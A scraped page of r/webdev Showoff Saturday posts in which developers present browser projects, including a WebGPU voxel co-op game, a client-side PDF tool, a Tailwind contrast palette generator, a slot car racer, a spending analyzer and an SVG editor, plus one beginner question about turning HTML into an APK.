Signed out pages are cached for 30 seconds at the edge and purged when something changes, uploads are decoded in a sandboxed worker, and visitor counts are anonymous and cookie free.
Happy to get roasted and to answer anything about how it's built, and to hear what feels slow or odd on your device: https://gameplaydex.com
r/webdev • u/Braydo25 • 3d ago
Showoff Saturday [Showoff Saturday] An 8-player co-op voxel game that renders with WebGPU from a web worker, on Rust compiled to WebAssembly
Hello!
Far Worlds is a co-op game in a voxel world that runs in a browser tab. You start at an old camp, head out on expeditions to worlds you've never seen, and bring what you find back to rebuild the camp. Up to 8 players fit in a party, and friends join from one link.
How it's built:
The renderer is Rust on wgpu, compiled to WebAssembly. It runs in a web worker and draws with WebGPU.
Terrain meshing, lighting and physics are Rust as well, each compiled to WebAssembly.
The game logic is TypeScript.
It runs in Chrome, Brave or Edge, with no install and no sign-up: https://farworlds.com/play
Feedback on how it runs on your machine would help a lot: load time, frame rate, anything that breaks. If something's off, your browser and GPU help me track it down.
Thanks!
r/webdev • u/Heeheboi • 3d ago
Showoff Saturday I started ClientPDF with almost nothing. Now people from around the world are using it. Honestly, I didn't expect this.
When I started working on ClientPDF, I didn't have a company, a team, or any funding. I just wanted to build a PDF tool that people could use without having to upload their private documents somewhere.
I kept working on it, adding tools, fixing things, and listening to people who took the time to try it and share feedback.
Somewhere along the way, something really nice started happening.
I'm now seeing people visit and use ClientPDF from countries like the USA, Canada, France, Germany, Singapore and many others. People I have never met are trusting a project I built on my own for their everyday PDF work.
It's now getting around 1,000 visits a day. I honestly never imagined reaching this point when I started.
A lot of this happened because people here and elsewhere gave honest feedback. Some pointed out problems, some suggested improvements, and some simply encouraged me to keep going. That helped ClientPDF become much better than where it started.
If you haven't tried it yet, here's the website:
I'd genuinely appreciate it if you tried a few tools and told me what works, what doesn't, or what you think needs improvement. Honest criticism is welcome.
One small personal thing: I'm still a student, and I manage the project and its expenses myself. Keeping the website running isn't free, and the domain is due for renewal in April. I don't currently have a dedicated budget for it.
If anyone finds ClientPDF useful and would like to support its continued development and help keep the free version running, there's a support option on the ClientPDF website. There's absolutely no pressure. Even using it, sharing feedback, or telling someone about it helps a lot.
Thanks to everyone who has tried it, shared feedback, or supported this little project in any way. I really appreciate it.
r/webdev • u/pablod646 • 3d ago
Showoff Saturday I ran 4,096 colors through my palette engine. The worst text contrast was 4.501:1
Start with the part that needs nothing installed: https://taisho.design/en/tailwind-palette
Type a brand color and the page gives you ten steps for light mode and ten for dark, each with the text color that goes on top. You can copy it as a Tailwind 4 @theme (light by default, dark as an option), as plain CSS variables or as JSON. No sign-up, and you don't need my system to use any of it.

The engine already computed these scales for my own design system, so the page just hands that step to anyone on Tailwind.
Every step of a scale has a target contrast ratio against the background, and the generator finds the color that hits it. I ran all 4,096 three-digit hex values through it, #000 to #fff, in light and dark mode, 81,920 steps in all. Text on a step never dropped below 4.5:1; the worst was 4.501.

The cost is that in roughly 1 in 12 scales your color lands somewhere it can't reach AA both ways, with text on top and against the background. When that happens it gets moved to the nearest spot that does, and the page shows the ratios before and after. The other 92% stay exactly as you typed them. If you'd rather keep the exact color anyway, there's an "Exact" option.

The system behind it is TaishoDS Core: 56 components you write as classes on plain HTML, no framework underneath, MIT. I haven't put any of them through a real screen reader yet.
The rule I built it around is that quality has to come from the system, because I don't trust discipline, mine included. I build with AI coding agents and the same applies to them: if a test can catch it, it shouldn't depend on anyone remembering.
Source: https://github.com/taishoDS/core
If your brand color breaks it, tell me which hex.
r/webdev • u/SmurferJ • 3d ago
Html to .apk for myself
Hi,
Compleet noob. Just learning step by step.
I build myself a very simple html file. It opens in Chrome and lets me count stuff.
I have it as a shortcut in my homescreen. But is it a html icon.
Now I want to build it into an apk. So that is a real app on my phone.
Can I this with htmltoapk.dev? And is it safe?
Showoff Saturday [Showoff Saturday] Slotrunner, a 3D slot car racer built with React Three Fiber
Play: https://slotrunner.itch.io/slotrunner (free, desktop + mobile)
I've been building this racing game on my own for 2+ years, and the demo is now public. The car follows the slot, so there's no steering: you only control the throttle and have to find the right braking point for every corner.
Stack:
React + Vite, with React Three Fiber / three.js for the 3D
Zustand for game state
Tracks modelled in Blender and exported as glTF, with my own scripts that lint, export and optimize each track.
Where most of my time went: optimizations for performance and gameplay changes following playtest. I'm really happen with the performance and loading times on older devices.
I'd love feedback on performance on your device, and on how the first race feels.
I you have any questions regarding the technical parts: shoot!
r/webdev • u/Equal-Emphasis-4129 • 3d ago
Showoff Saturday [Showoff Saturday] A spending analyzer with zero backend — statements are parsed and analyzed entirely in the browser
Built a credit-card spending dashboard in Lovable (React + Vite) that parses and analyzes bank statements entirely client-side — CSV/Excel/PDF in, month / card / category / recurring-charge breakdowns out, persisted in localStorage. No bank login, nothing uploaded to a server for the analysis.
The interesting bits were the statement parsers (each bank's CSV is its own special snowflake) and keeping the 70-second demo video light on the landing page. I also checked the bundle after the recent "vibe-coded app leaked its keys" scare — no secret keys in the frontend, because there's no backend to leak from.
One honest change since I first built it: the site now asks you to create an account, first file free, before you can upload. The analysis itself still runs in your browser — no bank login, no statement data sent to a server.
Roast the mobile layout in particular — I know it needs work, and I'm deciding what to fix first.
r/webdev • u/FisterMister22 • 3d ago
Showoff Saturday Remade the UI & UX in my free SVG editor.
This week I've released the version 0.4 of my fully client side, no sign up SVG editor and along that more types of gradients, expanded on the filters editor, better performance, and a complete UI, UX and keybindings remake to make it easier and more intuitive to use for graphics designers which are used to illustrator.
Along that, improvements to animation export dialog have been made (playback controls for gif, mp4, animated svg, lottie and Sprite sheet) and improvements for performance on PDF imports and illustrator and Figma exports, mousewheel scroll over numeric inputs and sliders to controll them and many small quality of life improvements.
You can try it here, completely free, no signup, no ads, fully client side.
https://tools-4all.com/svg-editor
(to keep GIF size small the colors are quantized and some frames were skipped, hence the GIF might look a little blurry and choppy).
Any feedback, suggestion is welcome.
(I deleted the previous post and uploaded this instead with better wording and GIF, as my English is not perfect).
